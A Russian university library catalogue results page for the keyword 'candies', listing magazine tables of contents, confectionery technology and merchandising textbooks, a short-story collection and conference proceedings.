Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

130 пользователей


Зарегистрированных: 1 

Белогур Полина Александровна


 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=КОНФЕТЫ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 25
1. 
Вокруг света. - Журнал, 2003г. № 11
Оглавление 
  • Лейбов, Михаил. Музыка в камне / М. Лейбов, М. Лейбов. - с.4-11
  • Символ оптимизма. - с.16
  • Паршев, Никита. Звездные войны эпохи "Звездных войн" / Н. Паршев, N EWS. AFP/EAST, N EWS. SPL/EAST. - с.22-38
  • Ноябрь. - с.42-48
  • Воловенская, Светлана. Сокровища "Русского Манчестера" / С. Воловенская, М. Дмитриев, А. Голубовский. - с.56-70
  • Когда появились коньки?. - с.72
  • Где растут конфеты?. - с.72
  • Что такое косая сажень?. - с.72
  • Кто умеет бегать по воде?. - с.73
  • Фатющенко, Андрей. В поисках калашей / А. Фатющенко, А. Семашко. - с.75-104
  • Кто такой Вий?. - с.106-107
  • Каких птиц следует бояться?. - с.107
  • Почему рыб считали немыми?. - с.106
  • Чье дело в шляпе?. - с.106
  • Лебина, Наталья. Прощание с монументальностью / Н. Лебина. - с.112-119
  • На страже покоя. - с.120
  • Пройти везде. - с.122
  • Юбилей беспечного ездока. - с.124
  • Беликов, Виктор. Хозяева небес / В. Беликов, N EWS. AGE/EAST, С. Новиков. - с.126-143
  • Черно-белые лошадки. - с.144-153
  • День и ночь - сутки прочь?. - с.154
  • Иванов, Дмитрий. Секретный вояж / Д. Иванов, Ю. Юров. - с.156-169
  • Рубин, Сергей. Невидимая, но тяжелая / С. Рубин, N EWS. SPL/EAST, С. Новиков. - с.172-179
  • Стогова, Анна. Галантный философ / А. Стогова. - с.182-190
  • Ефимова, Валентина. Бессмертная инфлюэнца / В. Ефимова, N EWS. SPL/EAST, N EWS. GRAPHIC. - с.192-196
  • Елистратов, Владимир. Чудо из Чудова / В. Елистратов. - с.200-203
  • Императрица Мария Федоровна. Дневники . 1914-1923 годы. - с.208-211
  • Опираясь на воздух. - с.216
  • Лейбов, Михаил. Музыка в камне / М. Лейбов, М. Лейбов. - с.4-11
  • Символ оптимизма. - с.16
  • Паршев, Никита. Звездные войны эпохи "Звездных войн" / Н. Паршев, N EWS. AFP/EAST, N EWS. SPL/EAST. - с.22-38
  • Ноябрь. - с.42-48
  • Воловенская, Светлана. Сокровища "Русского Манчестера" / С. Воловенская, М. Дмитриев, А. Голубовский. - с.56-70
  • Когда появились коньки?. - с.72
  • Где растут конфеты?. - с.72
  • Что такое косая сажень?. - с.72
  • Кто умеет бегать по воде?. - с.73
  • Фатющенко, Андрей. В поисках калашей / А. Фатющенко, А. Семашко. - с.75-104
  • Кто такой Вий?. - с.106-107
  • Каких птиц следует бояться?. - с.107
  • Почему рыб считали немыми?. - с.106
  • Чье дело в шляпе?. - с.106
  • Лебина, Наталья. Прощание с монументальностью / Н. Лебина. - с.112-119
  • На страже покоя. - с.120
  • Пройти везде. - с.122
  • Юбилей беспечного ездока. - с.124
  • Беликов, Виктор. Хозяева небес / В. Беликов, N EWS. AGE/EAST, С. Новиков. - с.126-143
  • Черно-белые лошадки. - с.144-153
  • День и ночь - сутки прочь?. - с.154
  • Иванов, Дмитрий. Секретный вояж / Д. Иванов, Ю. Юров. - с.156-169
  • Рубин, Сергей. Невидимая, но тяжелая / С. Рубин, N EWS. SPL/EAST, С. Новиков. - с.172-179
  • Стогова, Анна. Галантный философ / А. Стогова. - с.182-190
  • Ефимова, Валентина. Бессмертная инфлюэнца / В. Ефимова, N EWS. SPL/EAST, N EWS. GRAPHIC. - с.192-196
  • Елистратов, Владимир. Чудо из Чудова / В. Елистратов. - с.200-203
  • Императрица Мария Федоровна. Дневники . 1914-1923 годы. - с.208-211
  • Опираясь на воздух. - с.216
2. 
Социальная защита. - Журнал, 2005г. № 4
Оглавление 
  • Вульф, Л. Закон противоречит Конституции / Л. Вульф. - с.4-7
    Кл. слова: Ветераны труда
  • Переведенцева, Е. Нарушений не счесть / Е. Переведенцева. - с.8-11
    Кл. слова: Бюджетные средства, Нецелевое использование
  • Волчок, Н. Сам себе помощник / Н. Волчок. - с.12-14
  • Вульф, Л. Обновление базовой части / Л. Вульф. - с.15-16
    Кл. слова: Пенсия трудовая
  • Вареничева, Т. Пакет оказался дырявым / Т. Вареничева. - с.17-20
    Кл. слова: Льготный лес
  • Жуковская, Н. Облученные и обманутые / Н. Жуковская. - с.21-24
  • Мохначук, И. Подземный тупик / И. Мохначук. - с.25-27
  • Лазарев, А. Цена вдовьих слез / А. Лазарев. - с.28-31
  • Левитин, И. Ограниченная поддержка / И. Левитин. - с.32-35
    Кл. слова: Социальный проездной билет
  • Ежова, Г. Конфеты подождут / Г. Ежова. - с.36-38
    Кл. слова: Детское пособие
  • Лукьянов, В. Система профнепригодности / В. Лукьянов. - с.39-40
  • Янковская, Г. Переходный период простым не бывает / Г. Янковская. - с.2-7 (статья находится в приложении)
    Кл. слова: Единый проездной билет, Льготные лекарства
  • Тищенко, Т. С приемлемой точностью / Т. Тищенко. - с.8-11 (статья находится в приложении)
  • Таранцов, М. Кому нужен слепой моторист? / М. Таранцов. - с.12-15 (статья находится в приложении)
    Кл. слова: Трудоспособность
  • Роговцева, Е. Принять невыносимое / Е. Роговцева. - с.16-18 (статья находится в приложении) : рис.
  • Левадний, А. Забота о детях / А. Левадний. - с.19-20 (статья находится в приложении)
    Кл. слова: Дети-сироты
  • Энглин, Б. Чтобы можно было жить / Б. Энглин. - с.21-23 (статья находится в приложении)
  • Ковалева, О. "Мы ждем справедливости..." / О. Ковалева. - с.24-27 (статья находится в приложении)
    Кл. слова: Право на льготы
  • Свердлык, И. Право, закрепленное в бою / И. Свердлык. - с.28-29 (статья находится в приложении)
  • Попов, В. Реформа областного масштаба / В. Попов. - с.30-33 (статья находится в приложении)
  • Лужнин, В. Поспешать нужно медленно / В. Лужнин. - с.34-36 (статья находится в приложении)
  • Тарасенко, О. Далеко от Москвы / О. Тарасенко. - с.37-38 (статья находится в приложении)
  • Анохин, О. Решили кардинально / О. Анохин. - с.39-40 (статья находится в приложении)
  • Кадыров, Ф. Двадцать минут для пациента / Ф. Кадыров. - с.3-6 (статья находится в приложении)
    Кл. слова: Здравоохранение, Оплата труда
  • Петров, Д. Договор без индексации / Д. Петров. - с.7-9 (статья находится в приложении)
    Кл. слова: Заработная плата, Индексация
  • Костян, И. Увольнение по соглашению / И. Костян. - с.13-16 (статья находится в приложении)
  • Перова, Т. В реорганизацию - с профсоюзом / Т. Перова. - с.17-21 (статья находится в приложении)
  • Вареничева, Т. "Виртуальный" резерв / Т. Вареничева. - с.25-27 (статья находится в приложении)
  • Зайцева, О. Строго конфиденциально / О. Зайцева. - с.29-32 (статья находится в приложении)
    Кл. слова: Анкета работника, Персональные данные
  • Трумель, В. Охрана труда в генсоглашении / В. Трумель. - с.3-6 (статья находится в приложении)
  • Гниденко, Т. В чьих руках госэкспертиза / Т. Гниденко. - с.7-11 (статья находится в приложении)
  • Колесников, М. Пробелы в законодательстве / М. Колесников. - с.13-17 (статья находится в приложении)
    Кл. слова: Спорт профессиональный, Травма
  • Однохоров, А. Экзамен для руководителя / А. Однохоров. - с.20-24 (статья находится в приложении)
  • Вульф, Л. Вынужденное повышение / Л. Вульф. - с.3-8 (статья находится в приложении) : табл.
    Кл. слова: Базовая часть, Индексация
  • Самойлова, Л. Порядок регистрации / Л. Самойлова. - с.9-12 (статья находится в приложении)
  • Самаренко, Е. Стаж не должен пропасть / Е. Самаренко. - с.13-19 (статья находится в приложении)
  • Ткаченко, А. Системы развитых стран в XXI веке / А. Ткаченко. - с.20-22 (статья находится в приложении)
    Кл. слова: Защита старости, Пенсионная система за рубежом
  • Плугарь, Н. Тернии пенсионной реформы / Н. Плугарь. - с.24-28 (статья находится в приложении)
  • Белякин, В. Работникам стекольного производства / В. Белякин. - с.29-32 (статья находится в приложении)
Держатели документа (Информация об экземплярах) 
3. 
Табаторович, Александр Николаевич. Товароведение однородных групп продовольственных товаров (зерномучные и кондитерские товары) [Текст] / А. Н. Табаторович ; дар. А. Н. Табаторович, 2017. - 183 с.
Ключевые слова 
Оглавление 
Держатели документа (Информация об экземплярах) 

В учебном пособии рассмотрены вопросы терминологии, классификации, пищевой ценности, формирования и оценки качества основных видов и разновидностей зерномучных и кондитерских товаров. Классификация ассортимента, показатели качества и безопасности представлены в соответствии с действующими нормативными документами и Техническими регламентами Таможенного союза.

Пособие предназначено для студентов, обучающихся по направлениям подготовки 38.03.07 "Товароведение" и 38.03.06 "Торговое дело". Может быть полезно для товароведов-экспертов, коммерсантов и других практических работников, чья деятельность связана с производством, продажей и хранением указанных групп товаров.

Полный текст
4. 
Лурье И. С. Технология кондитерского производства [Текст] / И. С. Лурье, 1992. - 399 с.
Держатели документа (Информация об экземплярах) 
5. 
Вокруг света. - Журнал, 2010г. № 11
Оглавление 
  • Звездно-полосатый форт. - с.264
  • Выбираем. - с.256-262
  • Рогачев, Сергей. Визитная карточка региона / С. Рогачев. - с.254
  • Сухова, Надежда. Великое дао скромного боба / Н. Сухова, И. Шамсутдинов. - с.246-252
  • Здоровый интерес. - с.244-245
  • Жуков, Борис. Лечение ничем / Б. Жуков. - с.232-243
  • Воробьев-Обухов, Алексей. Жертвы на алтарь безопасности / А. Воробьев-Обухов. - с.224-230
  • Сергеев, Александр. Луноход. Эпизод первый / А. Сергеев. - с.214-222
  • Максимов, Никита. Шаг вперед - два шага вниз / Н. Максимов. - с.208-213
  • Козловский, Борислав. Скелеты умерших идей / Б. Козловский. - с.196-206
  • Шубинский, Валерий. Пять жизней Ивана Павловича / В. Шубинский. - с.183-195
  • Котов, Павел. Как Иисус стал Бодхисатвой / П. Котов. - с.172-181
  • Иванов, Сергей. Огненный удар Везувия / С. Иванов. - с.168-170
  • Цветков, Алексей. Операция "Фарш": как все это было / А. Цветков. - с.160-166
  • Быковский, Егор. Шестьдесят восемь часов на знакомство с Америкой / Е. Быковский. - с.140-147
  • Травина, Ирина. Глубинная цивилизация / И. Травина. - с.150-158
  • Завадский, Марк. Земноводный мегаполис / М. Завадский. - с.128-138
  • Жуков, Борис. Эдем на дне котла / Б. Жуков. - с.120-126
  • Ястржембский, Сергей. Кровь и красота / С. Ястржембский. - с.108-118
  • Виноградова, Елена. Богатство на бобах / Е. Виноградова. - с.96-106
  • Алексеев-Рыбин, Николай. Африка в пришедшем времени / Н. Алексеев-Рыбин. - с.64-92
  • Губарева, Марита. Площадь Испании. Жизнь нараспашку / М. Губарева. - с.56-62
  • Шубинский, Валерий. Попытка расшифровки / В. Шубинский. - с.52
  • Висенс, Елена. Четвероногий королевский балет / Е. Висенс. - с.48-50
  • Леонов, Сергей. Швейная машинка Singer / С. Леонов. - с.46
  • Иванов, Сергей. Мустафа Кемаль Ататюрк / С. Иванов. - с.42-44
  • Почему у индийских богов много рук?. - с.40
  • Почему иудеи и мусульмане не едят свинину?. - с.40
  • Сколько золота в золотой олимпийской медали?. - с.38
  • Кто придумал конфеты "Птичье молоко" и почему они так называются?. - с.38
  • Терещенко, Алексей. 1960 ноябрь / А. Терещенко. - с.36
  • Терещенко, Алексей. 1860 ноябрь / А. Терещенко. - с.32
  • Терещенко, Алексей. 1910 ноябрь / А. Терещенко. - с.34
  • Терещенко, Алексей. 1510 ноябрь / А. Терещенко. - с.30
  • Терещенко, Алексей. 1260 ноябрь / А. Терещенко. - с.28
  • Идеи и открытия. - с.24-26
  • Котов, Павел. Фламандская "доска" на границе двух миров / П. Котов. - с.18-22
  • Пестрый мир. - с.12-16
6. 
Эхо планеты. - Журнал, 2003г. № 39
Оглавление 
  • Кондрашов, А. В Западной Европе живут долго / А. Кондрашов, О. Поляковский. - с.2
  • Поляковский, О. В Мюнхене - юбилейный "Октоберфест" / О. Поляковский. - с.2
  • Поляковский, О. Давида ждет помывка / О. Поляковский. - с.3
  • Пичугин, Ю. Австралию ждет рекордный урожай / Ю. Пичугин, О. Поляковский. - с.3
  • Еловский, К. Самый богатый американец - Билл Гейтс / К. Еловский, О. Поляковский. - с.3
  • Никитин, Е. Первой в мире авиакатастрофе - 95 лет / Е. Никитин, О. Поляковский. - с.4
  • Шитов, А. В будущем году Ираку понадобится 60 миллиардов долларов / А. Шитов, О. Поляковский. - с.4
  • Кутахов, В. Южнокорейский суперэкспресс / В. Кутахов, О. Поляковский. - с.4
  • Бикбаев, Р. У Саддама Хусейна очень много денег / Р. Бикбаев, О. Поляковский. - с.5
  • Споры вокруг Ирака на ООНовской площадке. - с.8
  • Кикило, В. Реформа ООН - как править миром / В. Кикило. - с.6-11
  • Поляковский, О. МАГАТЭ предупреждает Иран / О. Поляковский. - с.12
  • Дубровин, Д. Кто не курит, хотя и пьет? Кореянки-северянки / Д. Дубровин, О. Поляковский. - с.13
  • Поляковский, О. Знать русский - это традиция / О. Поляковский. - с.13
  • Середа, С. Кто, сколько и как зарабатывает на улицах Мадрида? / С. Середа, О. Поляковский. - с.14-15
  • Мостовец, В. "Зиппо" он везде "Зиппо". Если не подделка / В. Мостовец, О. Поляковский. - с.14
  • Павлова, В. Рональд Макдональд и полковник Сандерс идут в атаку / В. Павлова, О. Поляковский. - с.14-15
  • Латышев, С. Греческие супермаркеты на тропе войны / С. Латышев, О. Поляковский. - с.15
  • Джалагония, В. В руках пока что воробей / В. Джалагония. - с.16-17
  • Кутахов, В. Вся Южная Корея - зона стихийного бедствия / В. Кутахов. - с.20
  • Лебедев, И. Ураган "Изабел": могло быть и хуже... / И. Лебедев, К. Еловский, Д. Кирсанов. - с.18-20
  • Рогачев, В. Самоубийство "Галилея" - ради Европы / В. Рогачев. - с.21
  • Прибалты боятся России слабой, а не сильной. - с.22-23
  • Виноградова, М. Сергей Карякин / М. Виноградова. - с.25
  • Виноградова, М. Уэсли Кларк / М. Виноградова. - с.25
  • Виноградова, М. Хирому Нонака / М. Виноградова. - с.25
  • Виноградова, М. Адриенн Кларксон / М. Виноградова. - с.25
  • Кубатьян, Г. В американском плену в Ираке / Г. Кубатьян. - с.26-32
  • В., В. В. Мир глазами Марины Чекстер / В. В. В.. - с.33
  • Тверитина, А. Я не инвалид - я просто передвигаюсь в коляске / А. Тверитина. - с.34-35
  • Александрова, С. Битва спецслужб: "Победит тот, кто владеет Кавказом" / С. Александрова. - с.36-39
  • Середа, С. Сервантес академический и кулинарный / С. Середа. - с.40
  • Поляковский, О. "Английские розы" Мадонны: шоколадные конфеты с моралью. / О. Поляковский. - с.43-45
  • Палагичев, Н. Футбольный бог по имени Пеле / Н. Палагичев. - с.46-47
Держатели документа (Информация об экземплярах) 
7. 
Пищевая промышленность. - Журнал, 2009г. № 9
Оглавление 
  • Панфилов, В. А. Разработка образа пищевого предприятия XXI века - необходимое условие систематического развития технологий и техники / В. А. Панфилов. - с.8-10
    Кл. слова: ПРЕДПРИЯТИЕ ПИЩЕВОЕ
  • Акулич, А. В. Сушка плодоовощного сырья с использованием ИК-излучения / А. В. Акулич, А. В. Темрук. - с.12-13
    Кл. слова: СУШКА инфракрасная, СЫРЬЕ плодоовощное, СУШИЛКА комбинированная
  • Тукачев, В. Е. Устройства нового поколения для резки и сушки макаронных изделий / В. Е. Тукачев, М. В. Калачев, Ю. В. Зуева. - с.14-16
    Кл. слова: РЕЗКА макаронных изделий, СУШКА МАКАРОННЫХ ИЗДЕЛИЙ
  • Шуляк, В. А. Обжарочные аппараты малой производительности / В. А. Шуляк, А. В. Булгак. - с.18-21
    Кл. слова: АППАРАТ обжарочный
  • Шкоп, Я. Я. Технология КНП-фриго для производства функциональной пищи / Я. Я. Шкоп. - с.22-23
    Кл. слова: КОНЦЕНТРАТ натуральных продуктов
  • Влияние нанотехнологических добавок морского генеза на свойства эмульсионных продуктов. - с.30-32
    Кл. слова: МАЙОНЕЗ, ПОЛИСАХАРИДЫ, ЭМУЛЬГАТОР
  • Бердутина, А. В. Методика определения эмульсионных свойств белковых препаратов / А. В. Бердутина, А. С. Громов. - с.35-37
    Кл. слова: ПРЕПАРАТ белковый
  • Феофилактова, О. В. Разработка соусов с применением эубиотических микроорганизмов и их метаболитов / О. В. Феофилактова, А. В. Казаков. - с.38-39
    Кл. слова: СОУСЫ
  • Матисон, В. А. Улучшение качества системы управления персоналом / В. А. Матисон. - с.48-49
    Кл. слова: УПРАВЛЕНИЕ ПЕРСОНАЛОМ
  • Арутюнова, Н. И. Формирование концепции нового продукта питания на основе оценки требований потребителей / Н. И. Арутюнова, В. А. Матисон. - с.50-51
    Кл. слова: ПРОДУКТЫ ПИТАНИЯ
  • Шанин, А. А. Современные высокоэффективные моющие и дезинфицирующие средства для пищевой промышленности / А. А. Шанин, Ю. А. Корнев. - с.52-53
    Кл. слова: СРЕДСТВА МОЮЩИЕ, СРЕДСТВА дезинфицирующие
  • Хасанова, С. Д. Продление сроков хранения помадных конфет / С. Д. Хасанова, З. Г. Скобельская. - с.54-55
    Кл. слова: КОНФЕТЫ, СРОК ХРАНЕНИЯ ПРОДУКТОВ
  • Евдокимова, О. В. Товарные свойства культивируемого женьшеня / О. В. Евдокимова. - с.56-57
    Кл. слова: женьшень
  • Как улучшить качество сметанного продукта?. - с.58-60
    Кл. слова: СМЕТАНА, КАЧЕСТВО ПРОДУКЦИИ
  • Экстракт фукуса для производства продуктов, обогащенных йодом. - с.61
    Кл. слова: фукус, ЙОД - ПИТАНИЕ
  • Жадан, П. В икре самое "лакомое" - антибиотики? / П. Жадан. - с.63
    Кл. слова: ИКРА
  • Бакуменко, О. Е. Принципы разработки функциональных продуктов для студентов / О. Е. Бакуменко, Т. В. Иванникова, Ю. О. Натокина. - с.64-65
    Кл. слова: ПИТАНИЕ СТУДЕНТОВ
  • Роль функционального питания в коррекции йоддефицитных состояний. - с.66-68
    Кл. слова: ПИТАНИЕ ФУНКЦИОНАЛЬНОЕ, ПРОДУКТЫ йодированные
8. 
Пищевая промышленность. - Журнал, 2004г. № 11
Оглавление 
  • Итоги работы предприятий пищевой и перерабатывающей промышленности России за январь-сентябрь 2004 года. - с.26-27
  • Лапидус, Н. Н. Формирование оптимальной структуры диверсификационного портфеля крахмалопаточного предприятия / Н. Н. Лапидус, Т. М. Панченко. - с.28-30
  • Ермакова, Е. Как заставить персонал работать с максимальной отдачей: формы и виды моральных стимулов / Е. Ермакова. - с.32-34
  • Бутковский, В. А. Международная промышленная академия - координационный центр повышения квалификации руководителей предприятий АПК стран СНГ / В. А. Бутковский ; 36-39
  • Рожнева, Е. Макароны - пища веков / Е. Рожнева. - с.42-43
  • Проселков, В. Г. Обеспечение качества информации о пищевой продукции / В. Г. Проселков. - с.44-45
  • Разработка Единого стандарта Codex Alimentarius на фруктовые соки и нектары. - с.46
  • GMF-Gouda: корифей метода барабанной сушки. - с.48
  • Новожилова, О. А. Собственная прачечная на мясоперерабатывающих предприятиях / О. А. Новожилова. - с.50
  • Федоров, А. Ю. Напольное покрытие MONILE в пищевой промышленности / А. Ю. Федоров. - с.52-52
  • Семенова, Е. ОЕЕ - индикатор здоровья Вашего хозяйства / Е. Семенова. - с.54-55
  • Лучшие технологии дозирования от "Таурас-Феникс". - с.60
  • Разнообразие соков укрепит Ваш организм, а разнообразие упаковок - Ваш бизнес!. - с.62-64
    Кл. слова: УПАКОВКА СОКА
  • Количественное определение белка методом Къельдаля. - с.68-69
  • Ларин, В. Е. Новый санитарно-паразитологический показатель качества воды - ооцисты криптоспоридий / В. Е. Ларин. - с.70-72
  • Инверсионно-вольтамперометрическое определение селена / ; Н. К. Зайцев, Е. А. Осипова, Д. М. Федулов и др.. - с.74-76
  • Raftiline и Raftilose - ингредиенты для функциональных продуктов питания. - с.78-79
  • Fibregum - пищевое растворимое диетическое волокно, идеально подходящее для применения в разнообразных продуктах питания. - с.80
  • Изменение аминокислотного состава мясного сырья / ; Е. И. Титов, Л. Ф. Митасева, Н. Г. Машенцева. - с.82-83
  • Новые подходы к решению проблемы ликвидации йоддефицитных состояний. - с.84-86
  • Вековцев, А. А. Конфеты, обогащенные кальцием / А. А. Вековцев, Ю. Н. Гутов, В. М. Позняковский. - с.88
Держатели документа (Информация об экземплярах) 
9. 
Новости торговли. Все о ретейле и для ретейлеров. - Журнал, 2011г. № 10
Оглавление 
  • ТОП -15 Торговые сети России. - с.16-22
    Кл. слова: ТОРГОВЫЕ СЕТИ - РЕЙТИНГ
  • Кузнецова, Н. Ароматное зерно / Н. Кузнецова. - с.30-34
    Кл. слова: КОФЕ
  • Кузнецова, Н. Все будет в шоколаде: плюсы и минусы сладкой жизни / Н. Кузнецова. - с.36-40
    Кл. слова: КОНФЕТЫ
  • Балаян, Д. Острова: малый формат больших возможностей / Д. Балаян. - с.60-63
    Кл. слова: ТОРГОВЛЯ - ФОРМАТ, ОРГАНИЗАЦИЯ ТОРГОВЛИ
Держатели документа (Информация об экземплярах) 
10. 
Производство хлеба, хлебобулочных и кондитерских изделий. Торты и пирожные [Текст] / сост. В. А. Шипов, 1999. - 286 с.
Держатели документа (Информация об экземплярах) 
11. 
Астафьев, Виктор Петрович. Рассказы / сост. Л. Быков, 2002. - 688 с.
Оглавление 
  • повести
  • Астафьев, Виктор Петрович. роман / ; В. П. Астафьев
Оглавление 
  • Астафьев, Виктор Петрович. Ясным днем / В. П. Астафьев. - с.8
  • Астафьев, Виктор Петрович. Жизнь прожить / В. П. Астафьев. - с.45
  • Астафьев, Виктор Петрович. Бойе / В. П. Астафьев. - с.90
  • Астафьев, Виктор Петрович. Уха на Боганиде / В. П. Астафьев. - с.125
  • Астафьев, Виктор Петрович. Гори, гори ясно / В. П. Астафьев. - с.178
  • Астафьев, Виктор Петрович. Без приюта / В. П. Астафьев. - с.234
  • Астафьев, Виктор Петрович. Где-то гремит война / В. П. Астафьев. - с.306
  • Астафьев, Виктор Петрович. Сорока / В. П. Астафьев. - с.383
  • Астафьев, Виктор Петрович. Соевые конфеты / В. П. Астафьев. - с.416
  • Астафьев, Виктор Петрович. Последний поклон / В. П. Астафьев. - с.467
  • Астафьев, Виктор Петрович. Забубенная головушка / В. П. Астафьев. - с.472
  • Астафьев, Виктор Петрович. Вечерние раздумья / В. П. Астафьев. - с.510
  • Астафьев, Виктор Петрович. Печальный детектив / В. П. Астафьев. - с.564
Держатели документа (Информация об экземплярах) 
12. 
Шепелев А. Ф. Товароведение и экспертиза кондитерских товаров [Текст] : Учеб. пособие для студ. высш. учеб. заведений / А. Ф. Шепелев, И. А. Печенежская, А. В. Шмелев. - 223 с.
13. 
Справочник по товароведению продовольственных товаров [Текст] : Справочники/словари / Под ред. Т.Г.Родиной, 2003. - 608 с.
Ключевые слова 
ТОВАРОВЕДЕНИЕ -- Товары продовольственные -- ЦЕННОСТЬ ПИЩИ ЭНЕРГЕТИЧЕСКАЯ -- ЦЕННОСТЬ ПИЩИ биологическая -- ЦЕННОСТЬ ПИЩИ физиологическая -- ЦЕННОСТЬ ПИЩИ органолептическая -- Усвояемость пищи -- КОДИРОВАНИЕ ТОВАРА -- МАРКИРОВКА ТОВАРА -- ИНФОРМАЦИЯ О ТОВАРЕ -- БЕЗОПАСНОСТЬ пищевых продуктов -- Безопасность эпидемиологическая -- ТАРА -- УПАКОВКА -- УТИЛИЗАЦИЯ тары -- ДОБАВКА ПИЩЕВАЯ -- Краситель пищевой -- Консервант -- Антиокислитель -- Ароматизатор -- Препарат коптильный -- ТОВАРЫ зерномучные -- Зерно -- Мука -- Крупа -- МАКАРОНЫ -- Хлеб -- СУХАРИ -- ПЛОДЫ -- ОВОЩИ -- ГРИБЫ -- КРАХМАЛ -- САХАР -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- РЕЗИНКА ЖЕВАТЕЛЬНАЯ -- Карамель -- Шоколад -- КАКАО - порошок -- Конфеты -- Ирис -- Драже -- Халва -- Печенье -- ВАФЛИ -- ПИРОЖНЫЕ -- ТОРТЫ -- РУЛЕТ -- КЕКС -- Сладости восточные -- КОНЦЕНТРАТ ПИЩЕВОЙ -- ПРОДУКТЫ детского питания -- ТОВАРЫ вкусовые -- ЖИР ПИЩЕВОЙ -- МОЛОКО -- Сметана -- Сыр -- ТОВАРЫ молочные -- ЯЙЦЕПРОДУКТЫ -- МЯСО -- КОНСЕРВЫ МЯСНЫЕ -- РЫБА -- КОНСЕРВЫ РЫБНЫЕ -- ПРЕСЕРВЫ РЫБНЫЕ
Держатели документа (Информация об экземплярах) 
14. 
Рыжакова, Алла Владимировна. Товароведение и экспертиза кондитерских товаров [Текст] : Учебник гриф-УМО / А. В. Рыжакова, 2005. - 224 с.

Изложены основные сведения о сырье и вспомогательных материалах, пищевых добавках, особенностях технологии производства сахаристых и мучных кондитерских изделий. Приведены информация о составе, свойствах и пищевой ценности; принципы товарной классификации и ассортиментной принадлежности; требования к качеству, маркировке, транспортированию, условиям хранения изделий. Рассмотрены процессы, протекающие при производстве и хранении, их влияние на качество изделий.

Для студентов высших учебных заведений, обучающихся по специальности "Товароведение и экспертиза товаров".

15. 
Территориальные единичные расценки на монтаж оборудования. Омская область [Текст]. Ч. 28 : Оборудование предприятий пищевой промышленности, 2010. - 56 с.
Ключевые слова 
ТЕРм 81-03-28-2001 -- СМЕТНЫЙ -- НОРМАТИВ -- ДОЗИРОВАНИЕ -- МУКА -- СМЕШИВАНИЕ -- ПРИГОТОВЛЕНИЕ -- ДРОЖЖИ -- ДЕЖИ -- ТЕСТО -- СУШИЛКА -- СУХАРЬ -- РАСФАСОВКА -- САХАР -- МОЙКА -- МЕШАЛКА -- ЛОВУШКА -- ФИЛЬТРАЦИОННОЕ -- ВОДООТДЕЛИТЕЛЬ -- ВОДООТВОДЧИК -- ПРЕСС -- ДИФФУЗИОННОЕ -- ПЕЧЬ -- РАЗДЕЛКА -- ТУША -- ЛЬДОГЕНЕРАТОР -- ПОСОЛЬНОЕ -- РЕЗЕРВУАР -- МОЛОКО -- ТЕРМООБРАБОТКА -- СЛИВКИ -- МАСЛО -- СЫР -- МОРОЖЕНОЕ -- КАЗЕИН -- ДРОБИЛКА -- УКУПОРКА -- МАКАРОНЫ -- КОНФЕТЫ -- ВИНОГРАД -- СПИРТ -- ПИВО -- ТАБАК -- ЧАЙ -- КАРТОНАЖНЫЕ -- ОБЩЕСТВЕННОЕ -- ПИТАНИЕ -- ЖЕСТЯНАЯ -- ТАРА -- СОЛОД -- СУСЛО
Держатели документа (Информация об экземплярах) 
16. 
Сборник основных рецептур сахаристых кондитерских изделий [Текст] : сборник / Сост. Н. С. Павлова, 2003. - 230 с.
Держатели документа (Информация об экземплярах) 
17. 
Скобельская З. Г. Технология производства сахарных кондитерских изделий [Текст] : Учеб. для учреждений нач. проф. образования / З. Г. Скобельская, Г. Н. Горячева, 2002. - 412 с.
Держатели документа (Информация об экземплярах) 
18. 
Машины и аппараты пищевых производств [Текст] : учеб. для вузов по направлению подгот. дипломир. специалистов "Пищевая инженерия": в 3 кн. / под ред. В. А. Панфилова. Кн. 1 / С. Т. Антипов [и др.], 2009. - 607, [1] с.
Держатели документа (Информация об экземплярах) 

В учебнике обобщены сведения о состоянии и перспективе технического обеспечения пищевых и перерабатывающих производств. Особое внимание уделено проблемам, стоящим перед специалистами в деле повышения эффективности машинных технологий продуктов питания. Представлены современные формы организации технологических комплексов, а также машинно-аппаратурные схемы линий для переработки сельхозсырья растительного и животного происхождения, а также морепродуктов в продукты питания. Изложены научные основы реализуемых процессов и инженерные расчеты важнейших характеристик машин и аппаратов. Описано оборудование для ведения механических, гидромеханических, тепломассообменных и биотехнологических процессов, а также для дозирования и упаковывания пищевых продуктов. Рассмотрены методы организации технического обслуживания и ремонта оборудования, приоритетные научные проблемы и инженерные задачи развития пищевых производств, вопросы организации создания новой техники.

19. 
Всемирный день охраны окружающей среды (Экологические чтения - 2012) [Текст] : материалы III Открытой науч.-практ. конф. (г. Омск, 5 июня 2012 г.) / Комиссия по вопросам экологии, охране окружающей среды и безопасности жизнедеятельности Общественной палаты Омской обл., Муниципальное образоват. учреждение доп. образования детей "Детский эколого-биологический центр", АНО ВПО "Омский экономический ин-т", Омская региональная детско-юношеская общественная организация охраны окружающей среды "Экологический центр", Отдел водных ресурсов Нижне-Обского бассейнового водного управления по Омской обл., 2012. - 286 с.
Оглавление 
  • Абилова, А. К. Исследование яблочно-морковного нектара на содержание витамина С / А. К. Абилова, Т. С. Ершова. - с.12-15
    Кл. слова: НЕКТАРЫ, ВИТАМИН C
  • Бош, М. П. Пищевые кислоты / М. П. Бош, В. Ю. Романова. - с.15-18
    Кл. слова: КИСЛОТА ПИЩЕВАЯ
  • Брусенцева, Е. В. Содержание витамина С в разных сортах яблок / Е. В. Брусенцева, Н. В. Михейкина. - с.19-24
    Кл. слова: ЯБЛОКИ, ВИТАМИН C
  • Дуйсенбекова, Л. Ж. Вред и польза компьютера / Л. Ж. Дуйсенбекова, Д. Д. Жаксыгулова. - с.24-34
    Кл. слова: КОМПЬЮТЕР, КОМПЬЮТЕР - ЗДОРОВЬЕ
  • Еньшина, Л. К. Качество питьевых вод подземных водоисточников Северо-Казахстанской области / Л. К. Еньшина, И. Н. Лиходумова. - с.34-41
    Кл. слова: ВОДА ПИТЬЕВАЯ, КАЗАХСТАН - ЭКОЛОГИЯ, КАЧЕСТВО ВОДЫ
  • Зинган, В. Питание - глобальная проблема человечества / В. Зинган, А. А. Мануйлова. - с.42-46
    Кл. слова: ПИТАНИЕ - ЭКОЛОГИЯ
  • Ишкова, М. А. Определение содержания тяжелых металлов в продукции кондитерского производства (помадные конфеты) / М. А. Ишкова. - с.46-49
